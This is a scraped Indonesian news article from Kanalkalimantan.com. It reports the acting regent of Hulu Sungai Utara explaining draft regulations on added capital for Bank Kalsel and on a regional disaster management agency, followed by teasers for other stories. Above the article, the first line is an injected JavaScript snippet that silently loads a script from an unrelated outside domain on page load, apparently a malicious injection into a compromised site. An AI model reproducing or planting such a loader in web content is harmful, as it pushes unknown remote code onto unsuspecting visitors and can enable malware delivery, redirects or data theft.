(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Pelaksana Tugas (Plt) Bupati Hulu Sungai Utara (HSU) Husairi Abdi menyebutkan alasan pemerintah daerah melakukan penyertaan modal kepada Badan Usaha Milik Daerah (BUMD).
Hal itu diungkapkannya saat rapat paripurna dengan agenda penyampaian kepala daerah tentang Rancangan Peraturan Daerah (Raperda) mengenai pertanggungjawaban pelaksanaan APBD tahun anggaran 2021 dan penjelasan kepala daerah tentang tiga Raperda Kabupaten HSU, Senin (13/6/2022) siang.
Plt Bupati HSU menjelaskan bahwa soal Raperda tersebut disusun berdasarkan ketentuan, yaitu Pasal 333 Undang-Undang 23 Tahun 2014 tentang Pemda, dan Pasal 78 Peraturan Pemerintah Nomor 12 Tahun 2019 tentang pengelolaan keuangan daerah
Dalam kedua pasal tersebut, kata Husairi dinyatakan, pemerintah daerah dapat melakukan penyertaan modal kepada BUMD, dengan ketentuan jumlah yang akan disertakan dalam tahun anggaran berkenaan, telah ditetapkan dalam Perda mengenai penyertaan modal daerah.
Baca juga: Tiga Balai Desa di Gambut Diterjang Puting Beliung, 10 Rumah dan 1 Langgar Rusak
“Sedangkan alasan perlunya kita melakukan penambahan penyertaan modal daerah kepada Bank Kalsel, adalah dalam rangka memenuhi modal inti bank, yakni minimal tiga triliun rupiah paling lambat tahun 2024, sebagaimana diamanatkan dalam OJK,” jelas Husairi.
Sementara itu, terkait Raperda tentang Badan Penanggulangan Bencana Daerah (BPBD) disusun dengan didasarkan pada ketentuan pasal 9 huruf a Undang-Undang Nomor 24 Tahun 2007 tentang penanggulangan bencana.
“Dalam pasal 9 tersebut, dinyatakan bahwa salah satu kewenangan pemerintah daerah adalah menetapkan kebijakan penanggulangan bencana pada wilayahnya selaras dengan kebijakan pembangunan daerah,” jelasnya.
“Dengan Raperda BPBD ini nantinya, diharapkan penanggulangan bencana di daerah terselenggara secara terencana, terpadu, terkoordinasi, dan menyeluruh dalam rangka memberikan perlindungan yang maksimal bagi masyarakat dari segala ancaman, risiko, dan dampak bencana,” bebernya. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
This website uses cookies.